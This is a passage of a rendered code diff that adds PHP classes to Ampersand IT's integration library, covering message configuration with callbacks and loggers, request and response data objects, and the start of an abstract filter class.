418 |
+
if (is_null($this->_loggerProvider)) {
|
419 |
+
$this->_loggerProvider = new Ampersand_Integration_Message_Logger_Provider();
|
420 |
+
}
|
421 |
+
|
422 |
+
return $this->_loggerProvider;
|
423 |
+
}
|
424 |
+
|
425 |
+
/**
|
426 |
+
* Adds an object to the queue of loggers which will be used to create debug information
|
427 |
+
* relating to any message which is delivered or captured using this configuration
|
428 |
+
*
|
429 |
+
* @param Ampersand_Integration_Message_Logger_Interface $callback
|
430 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
431 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
432 |
+
*/
|
433 |
+
public function addLogger(Ampersand_Integration_Message_Logger_Interface $callback)
|
434 |
+
{
|
435 |
+
$this->_loggers[] = $callback;
|
436 |
+
|
437 |
+
return $this;
|
438 |
+
}
|
439 |
+
|
440 |
+
/**
|
441 |
+
* Gets the queue of loggers which will be used to create debug information relating to any
|
442 |
+
* message which is delivered or captured using this configuration
|
443 |
+
*
|
444 |
+
* @return array
|
445 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
446 |
+
*/
|
447 |
+
public function getLoggers()
|
448 |
+
{
|
449 |
+
return $this->_loggers;
|
450 |
+
}
|
451 |
+
|
452 |
+
/**
|
453 |
+
* Verifies that a function or method callback is callable. If the callback is not valid, this
|
454 |
+
* method will throw an exception
|
455 |
+
*
|
456 |
+
* @param mixed $callback
|
457 |
+
* @return Ampersand_Integration_Message_Config_Abstract
|
458 |
+
* @throws Ampersand_Integration_Exception
|
459 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
460 |
+
*/
|
461 |
+
protected function _verifyCallback($callback)
|
462 |
+
{
|
463 |
+
if (!is_callable($callback)) {
|
464 |
+
throw new Ampersand_Integration_Exception('The callback provided is not callable');
|
465 |
+
}
|
466 |
+
|
467 |
+
return $this;
|
468 |
+
}
|
469 |
+
|
470 |
+
/**
|
471 |
+
* Checks that the input data structure is empty or an array. If not, an exception is thrown. If
|
472 |
+
* it is empty, then an empty array is returned; even if the input data structure is a string
|
473 |
+
*
|
474 |
+
* @param mixed $data
|
475 |
+
* @param string $message
|
476 |
+
* @return array
|
477 |
+
* @throws Ampersand_Integration_Exception
|
478 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
479 |
+
*/
|
480 |
+
protected function _getArrayOrFault($data, $message)
|
481 |
+
{
|
482 |
+
if (is_null($data) || (is_string($data) && !strlen($data))) {
|
483 |
+
return array();
|
484 |
+
}
|
485 |
+
|
486 |
+
if (!is_array($data)) {
|
487 |
+
throw new Ampersand_Integration_Exception($message);
|
488 |
+
}
|
489 |
+
|
490 |
+
return $data;
|
491 |
+
}
|
492 |
+
|
493 |
+
/**
|
494 |
+
* Gets a handler queue which will be used to transform, filter and validate a data structure.
|
495 |
+
* The queue is populated with handlers based on the provided configuration
|
496 |
+
*
|
497 |
+
* @param array $handlerConfigs
|
498 |
+
* @param Ampersand_Map_Config $baseMapConfig
|
499 |
+
* @param Ampersand_ClassProvider $filterProvider
|
500 |
+
* @param Ampersand_ClassProvider $validatorProvider
|
501 |
+
* @return Ampersand_Integration_HandlerQueue
|
502 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
503 |
+
*/
|
504 |
+
public function getPreparedHandlerQueue(array $handlerConfigs,
|
505 |
+
Ampersand_Map_Config $baseMapConfig,
|
506 |
+
Ampersand_ClassProvider $filterProvider = null,
|
507 |
+
Ampersand_ClassProvider $validatorProvider = null
|
508 |
+
) {
|
509 |
+
if (is_null($filterProvider)) {
|
510 |
+
$filterProvider = $this->getFilterProvider();
|
511 |
+
}
|
512 |
+
if (is_null($validatorProvider)) {
|
513 |
+
$validatorProvider = $this->getValidatorProvider();
|
514 |
+
}
|
515 |
+
|
516 |
+
$handlerQueue = new Ampersand_Integration_HandlerQueue();
|
517 |
+
|
518 |
+
$config = $handlerQueue->getConfig()
|
519 |
+
->setHandlerConfigs($handlerConfigs)
|
520 |
+
->setBaseMapConfig($baseMapConfig)
|
521 |
+
->setFilterProvider($filterProvider)
|
522 |
+
->setValidatorProvider($validatorProvider)
|
523 |
+
;
|
524 |
+
|
525 |
+
return $handlerQueue;
|
526 |
+
}
|
527 |
+
|
528 |
+
/**
|
529 |
+
* Gets the request handler configurations
|
530 |
+
*
|
531 |
+
* @return Ampersand_Object
|
532 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
533 |
+
*/
|
534 |
+
public function getRequestHandlersConfig()
|
535 |
+
{
|
536 |
+
$configData = $this->_getArrayOrFault(
|
537 |
+
$this->getRequestHandlers(), 'Invalid request handlers configuration'
|
538 |
+
);
|
539 |
+
|
540 |
+
if (!$configData) {
|
541 |
+
return false;
|
542 |
+
}
|
543 |
+
|
544 |
+
return new Ampersand_Object($configData);
|
545 |
+
}
|
546 |
+
|
547 |
+
/**
|
548 |
+
* Gets the response handler configurations
|
549 |
+
*
|
550 |
+
* @return Ampersand_Object
|
551 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
552 |
+
*/
|
553 |
+
public function getResponseHandlersConfig()
|
554 |
+
{
|
555 |
+
$configData = $this->_getArrayOrFault(
|
556 |
+
$this->getResponseHandlers(), 'Invalid response handlers configuration'
|
557 |
+
);
|
558 |
+
|
559 |
+
if (!$configData) {
|
560 |
+
return false;
|
561 |
+
}
|
562 |
+
|
563 |
+
return new Ampersand_Object($configData);
|
564 |
+
}
|
565 |
+
}
|
lib/Ampersand/Integration/Message/Config/Incoming.php
ADDED
@@ -0,0 +1,169 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Config_Incoming extends Ampersand_Integration_Message_Config_Abstract
|
19 |
+
{
|
20 |
+
protected $_beforeCaptureCallbacks = array();
|
21 |
+
protected $_afterCaptureCallbacks = array();
|
22 |
+
protected $_beforeRespondCallbacks = array();
|
23 |
+
protected $_afterRespondCallbacks = array();
|
24 |
+
|
25 |
+
/**
|
26 |
+
* Applies the configuration data -- after the message config XML has been mapped and then
|
27 |
+
* rendered as an array
|
28 |
+
*
|
29 |
+
* @param Ampersand_Object $config The mapped config data
|
30 |
+
* @return Ampersand_Integration_Message_Config_Incoming
|
31 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
32 |
+
*/
|
33 |
+
protected function _applyMappedConfig(Ampersand_Object $config)
|
34 |
+
{
|
35 |
+
$this->_applyTransportConfig($config);
|
36 |
+
|
37 |
+
return $this;
|
38 |
+
}
|
39 |
+
|
40 |
+
/**
|
41 |
+
* Returns an object which is used to provide transport objects
|
42 |
+
*
|
43 |
+
* @return Ampersand_ClassProvider
|
44 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
45 |
+
*/
|
46 |
+
public function getTransportProvider()
|
47 |
+
{
|
48 |
+
if (is_null($this->_transportProvider)) {
|
49 |
+
$this->_transportProvider = new Ampersand_Integration_Transport_Incoming_Provider();
|
50 |
+
}
|
51 |
+
|
52 |
+
return $this->_transportProvider;
|
53 |
+
}
|
54 |
+
|
55 |
+
/**
|
56 |
+
* Adds a callback to be called before we capture incoming messages
|
57 |
+
*
|
58 |
+
* @param mixed $callback
|
59 |
+
* @return Ampersand_Integration_Message_Config_Incoming
|
60 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
61 |
+
*/
|
62 |
+
public function addBeforeCaptureCallback($callback)
|
63 |
+
{
|
64 |
+
$this->_verifyCallback($callback);
|
65 |
+
$this->_beforeCaptureCallbacks[] = $callback;
|
66 |
+
|
67 |
+
return $this;
|
68 |
+
}
|
69 |
+
|
70 |
+
/**
|
71 |
+
* Returns the callbacks which are to be called before we capture incoming messages
|
72 |
+
*
|
73 |
+
* @return array
|
74 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
75 |
+
*/
|
76 |
+
public function getBeforeCaptureCallbacks()
|
77 |
+
{
|
78 |
+
return $this->_beforeCaptureCallbacks;
|
79 |
+
}
|
80 |
+
|
81 |
+
/**
|
82 |
+
* Adds a callback to be called after we capture incoming messages
|
83 |
+
*
|
84 |
+
* @param mixed $callback
|
85 |
+
* @return Ampersand_Integration_Message_Config_Incoming
|
86 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
87 |
+
*/
|
88 |
+
public function addAfterCaptureCallback($callback)
|
89 |
+
{
|
90 |
+
$this->_verifyCallback($callback);
|
91 |
+
$this->_afterCaptureCallbacks[] = $callback;
|
92 |
+
|
93 |
+
return $this;
|
94 |
+
}
|
95 |
+
|
96 |
+
/**
|
97 |
+
* Returns the callbacks which are to be called after we capture incoming messages
|
98 |
+
*
|
99 |
+
* @return array
|
100 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
101 |
+
*/
|
102 |
+
public function getAfterCaptureCallbacks()
|
103 |
+
{
|
104 |
+
return $this->_afterCaptureCallbacks;
|
105 |
+
}
|
106 |
+
|
107 |
+
/**
|
108 |
+
* Adds a callback to be called before we respond to incoming messages
|
109 |
+
*
|
110 |
+
* @param mixed $callback
|
111 |
+
* @return Ampersand_Integration_Message_Config_Incoming
|
112 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
113 |
+
*/
|
114 |
+
public function addBeforeRespondCallback($callback)
|
115 |
+
{
|
116 |
+
$this->_verifyCallback($callback);
|
117 |
+
$this->_beforeRespondCallbacks[] = $callback;
|
118 |
+
|
119 |
+
return $this;
|
120 |
+
}
|
121 |
+
|
122 |
+
/**
|
123 |
+
* Returns the callbacks which are to be called before we respond to incoming messages
|
124 |
+
*
|
125 |
+
* @return array
|
126 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
127 |
+
*/
|
128 |
+
public function getBeforeRespondCallbacks()
|
129 |
+
{
|
130 |
+
return $this->_beforeRespondCallbacks;
|
131 |
+
}
|
132 |
+
|
133 |
+
/**
|
134 |
+
* Adds a callback to be called after we respond to incoming messages
|
135 |
+
*
|
136 |
+
* @param mixed $callback
|
137 |
+
* @return Ampersand_Integration_Message_Config_Incoming
|
138 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
139 |
+
*/
|
140 |
+
public function addAfterRespondCallback($callback)
|
141 |
+
{
|
142 |
+
$this->_verifyCallback($callback);
|
143 |
+
$this->_afterRespondCallbacks[] = $callback;
|
144 |
+
|
145 |
+
return $this;
|
146 |
+
}
|
147 |
+
|
148 |
+
/**
|
149 |
+
* Returns the callbacks which are to be called after we respond to incoming messages
|
150 |
+
*
|
151 |
+
* @return array
|
152 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
153 |
+
*/
|
154 |
+
public function getAfterRespondCallbacks()
|
155 |
+
{
|
156 |
+
return $this->_afterRespondCallbacks;
|
157 |
+
}
|
158 |
+
|
159 |
+
/**
|
160 |
+
* Provides getMessageMapConfig with a default value for $key
|
161 |
+
*
|
162 |
+
* @return string
|
163 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
164 |
+
*/
|
165 |
+
protected final function _getDefaultMessageMapConfigKey()
|
166 |
+
{
|
167 |
+
return Ampersand_Integration_Message_Incoming::INCOMING;
|
168 |
+
}
|
169 |
+
}
|
lib/Ampersand/Integration/Message/Config/Outgoing.php
ADDED
@@ -0,0 +1,115 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Config_Outgoing extends Ampersand_Integration_Message_Config_Abstract
|
19 |
+
{
|
20 |
+
protected $_beforeSendCallbacks = array();
|
21 |
+
protected $_afterSendCallbacks = array();
|
22 |
+
|
23 |
+
/**
|
24 |
+
* Applies the configuration data -- after the message config XML has been mapped and then
|
25 |
+
* rendered as an array
|
26 |
+
*
|
27 |
+
* @param Ampersand_Object $config The mapped config data
|
28 |
+
* @return Ampersand_Integration_Message_Config_Outgoing
|
29 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
30 |
+
*/
|
31 |
+
protected function _applyMappedConfig(Ampersand_Object $config)
|
32 |
+
{
|
33 |
+
$this->_applyTransportConfig($config);
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
|
38 |
+
/**
|
39 |
+
* Returns an object which is used to provide transport objects
|
40 |
+
*
|
41 |
+
* @return Ampersand_ClassProvider
|
42 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
43 |
+
*/
|
44 |
+
public function getTransportProvider()
|
45 |
+
{
|
46 |
+
if (is_null($this->_transportProvider)) {
|
47 |
+
$this->_transportProvider = new Ampersand_Integration_Transport_Outgoing_Provider();
|
48 |
+
}
|
49 |
+
|
50 |
+
return $this->_transportProvider;
|
51 |
+
}
|
52 |
+
|
53 |
+
/**
|
54 |
+
* Adds a callback to be called before we deliver outgoing messages
|
55 |
+
*
|
56 |
+
* @param mixed $callback
|
57 |
+
* @return Ampersand_Integration_Message_Config_Outgoing
|
58 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
59 |
+
*/
|
60 |
+
public function addBeforeSendCallback($callback)
|
61 |
+
{
|
62 |
+
$this->_verifyCallback($callback);
|
63 |
+
$this->_beforeSendCallbacks[] = $callback;
|
64 |
+
|
65 |
+
return $this;
|
66 |
+
}
|
67 |
+
|
68 |
+
/**
|
69 |
+
* Returns the callbacks which are to be called before we deliver outgoing messages
|
70 |
+
*
|
71 |
+
* @return array
|
72 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
73 |
+
*/
|
74 |
+
public function getBeforeSendCallbacks()
|
75 |
+
{
|
76 |
+
return $this->_beforeSendCallbacks;
|
77 |
+
}
|
78 |
+
|
79 |
+
/**
|
80 |
+
* Adds a callback to be called after we deliver outgoing messages
|
81 |
+
*
|
82 |
+
* @param mixed $callback
|
83 |
+
* @return Ampersand_Integration_Message_Config_Outgoing
|
84 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
85 |
+
*/
|
86 |
+
public function addAfterSendCallback($callback)
|
87 |
+
{
|
88 |
+
$this->_verifyCallback($callback);
|
89 |
+
$this->_afterSendCallbacks[] = $callback;
|
90 |
+
|
91 |
+
return $this;
|
92 |
+
}
|
93 |
+
|
94 |
+
/**
|
95 |
+
* Returns the callbacks which are to be called after we deliver outgoing messages
|
96 |
+
*
|
97 |
+
* @return array
|
98 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
99 |
+
*/
|
100 |
+
public function getAfterSendCallbacks()
|
101 |
+
{
|
102 |
+
return $this->_afterSendCallbacks;
|
103 |
+
}
|
104 |
+
|
105 |
+
/**
|
106 |
+
* Provides getMessageMapConfig with a default value for $key
|
107 |
+
*
|
108 |
+
* @return string
|
109 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
110 |
+
*/
|
111 |
+
protected final function _getDefaultMessageMapConfigKey()
|
112 |
+
{
|
113 |
+
return Ampersand_Integration_Message_Outgoing::OUTGOING;
|
114 |
+
}
|
115 |
+
}
|
lib/Ampersand/Integration/Message/Data/Abstract.php
ADDED
@@ -0,0 +1,74 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Message_Data_Abstract extends Ampersand_Object
|
19 |
+
{
|
20 |
+
/** @var mixed */
|
21 |
+
protected $_content;
|
22 |
+
/** @var array */
|
23 |
+
protected $_headers = array();
|
24 |
+
|
25 |
+
/**
|
26 |
+
* Sets the content value
|
27 |
+
*
|
28 |
+
* @param mixed $content
|
29 |
+
* @return Ampersand_Integration_Message_Data_Request
|
30 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
31 |
+
*/
|
32 |
+
public function setContent($content)
|
33 |
+
{
|
34 |
+
$this->_content = $content;
|
35 |
+
|
36 |
+
return $this;
|
37 |
+
}
|
38 |
+
|
39 |
+
/**
|
40 |
+
* Gets the content value
|
41 |
+
*
|
42 |
+
* @return mixed
|
43 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
44 |
+
*/
|
45 |
+
public function getContent()
|
46 |
+
{
|
47 |
+
return $this->_content;
|
48 |
+
}
|
49 |
+
|
50 |
+
/**
|
51 |
+
* Sets the headers array
|
52 |
+
*
|
53 |
+
* @param array $headers
|
54 |
+
* @return Ampersand_Integration_Message_Data_Request
|
55 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
56 |
+
*/
|
57 |
+
public function setHeaders(array $headers)
|
58 |
+
{
|
59 |
+
$this->_headers = $headers;
|
60 |
+
|
61 |
+
return $this;
|
62 |
+
}
|
63 |
+
|
64 |
+
/**
|
65 |
+
* Gets the headers array
|
66 |
+
*
|
67 |
+
* @return array
|
68 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
69 |
+
*/
|
70 |
+
public function getHeaders()
|
71 |
+
{
|
72 |
+
return $this->_headers;
|
73 |
+
}
|
74 |
+
}
|
lib/Ampersand/Integration/Message/Data/Request.php
ADDED
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Data_Request extends Ampersand_Integration_Message_Data_Abstract
|
19 |
+
{
|
20 |
+
/**
|
21 |
+
* Returns a new data object for storing request data with the provided data stored within it
|
22 |
+
*
|
23 |
+
* @param array $data
|
24 |
+
* @return Ampersand_Integration_Message_Data_Request
|
25 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
26 |
+
*/
|
27 |
+
public static function factory(array $data = array())
|
28 |
+
{
|
29 |
+
return self::_getNewInstance()->setDataUsingMethod($data);
|
30 |
+
}
|
31 |
+
|
32 |
+
/**
|
33 |
+
* Returns a new instance of the class used to store request data
|
34 |
+
*
|
35 |
+
* @return Ampersand_Integration_Message_Data_Request
|
36 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
37 |
+
*/
|
38 |
+
protected static function _getNewInstance()
|
39 |
+
{
|
40 |
+
return new Ampersand_Integration_Message_Data_Request();
|
41 |
+
}
|
42 |
+
}
|
lib/Ampersand/Integration/Message/Data/Response.php
ADDED
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Data_Response extends Ampersand_Integration_Message_Data_Abstract
|
19 |
+
{
|
20 |
+
/**
|
21 |
+
* Returns a new data object for storing response data with the provided data stored within it
|
22 |
+
*
|
23 |
+
* @param array $data
|
24 |
+
* @return Ampersand_Integration_Message_Data_Response
|
25 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
26 |
+
*/
|
27 |
+
public static function factory(array $data = array())
|
28 |
+
{
|
29 |
+
return self::_getNewInstance()->setDataUsingMethod($data);
|
30 |
+
}
|
31 |
+
|
32 |
+
/**
|
33 |
+
* Returns a new instance of the class used to store response data
|
34 |
+
*
|
35 |
+
* @return Ampersand_Integration_Message_Data_Response
|
36 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
37 |
+
*/
|
38 |
+
protected static function _getNewInstance()
|
39 |
+
{
|
40 |
+
return new Ampersand_Integration_Message_Data_Response();
|
41 |
+
}
|
42 |
+
}
|
lib/Ampersand/Integration/Message/Debug.php
ADDED
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Message_Debug extends Ampersand_Integration_Debug
|
3 |
+
{
|
4 |
+
// This class is here for backwards compabibility; don't add any functionality here
|
5 |
+
}
|
lib/Ampersand/Integration/Message/Filter/Abstract.php
ADDED
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Message_Filter_Abstract
|
19 |
+
implements Ampersand_Integration_Message_Filter_Interface
|
20 |
+
{
|
21 |
+
/** @var Ampersand_Object */
|
22 |
+
protected $_config;
|
23 |
+
|
24 |
+
/**
|
25 |
+
* Filters the input data structure and then returns the filtered data structure
|
26 |
+
*
|
27 |
+
* @param mixed $input
|
28 |
+
* @return mixed
|
29 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
30 |
+
*/
|
31 |
+
public function filter($input)
|
32 |
+
{
|
33 |
+
$config = $this->getConfig();
|
34 |
+
|
35 |
+
if ($config->getIgnoreEmpty() && empty($input)) {
|
36 |
+
return $input;
|
37 |
+
}
|
38 |
+
|
39 |
+
try {
|
40 |
+
$output = $this->_filter($input, $this->getConfig());
|
41 |
+
} catch (Exception $e) {
|
42 |
+
if (!$config->getCatchExceptions()) {
|
43 |
+
throw $e;
|
44 |
+
}
|
45 |
+
}
|
46 |
+
|
47 |
+
return $output;
|
48 |
+
}
|
49 |
+
|
50 |
+
/**
|
51 |
+
* Filters the input data structure and then returns the filtered data structure
|
52 |
+
*
|
53 |
+
* @param mixed $input
|
54 |
+
* @param Ampersand_Object $config
|
55 |
+
* @return mixed
|
56 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
57 |
+
*/
|
58 |
+
protected function _filter($input, Ampersand_Object $config)
|
59 |
+
{
|
60 |
+
return $input;
|
61 |
+
}
|
62 |
+
|
63 |
+
/**
|
64 |
+
* Sets the configuration for this filter instance
|
65 |
+
*
|
66 |
+
* @param Ampersand_Object $config
|
67 |
+
* @return Ampersand_Integration_Message_Filter_Abstract
|
68 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
69 |
+
*/
|
70 |
+
public function setConfig(Ampersand_Object $config)
|
71 |
+
{
|
72 |
+
$this->_config = $config;
|
73 |
+
|
74 |
+
return $this;
|
75 |
+
}
|
76 |
+
|
77 |
+
/**
|
78 |
+
* Gets the configuration for this filter instance
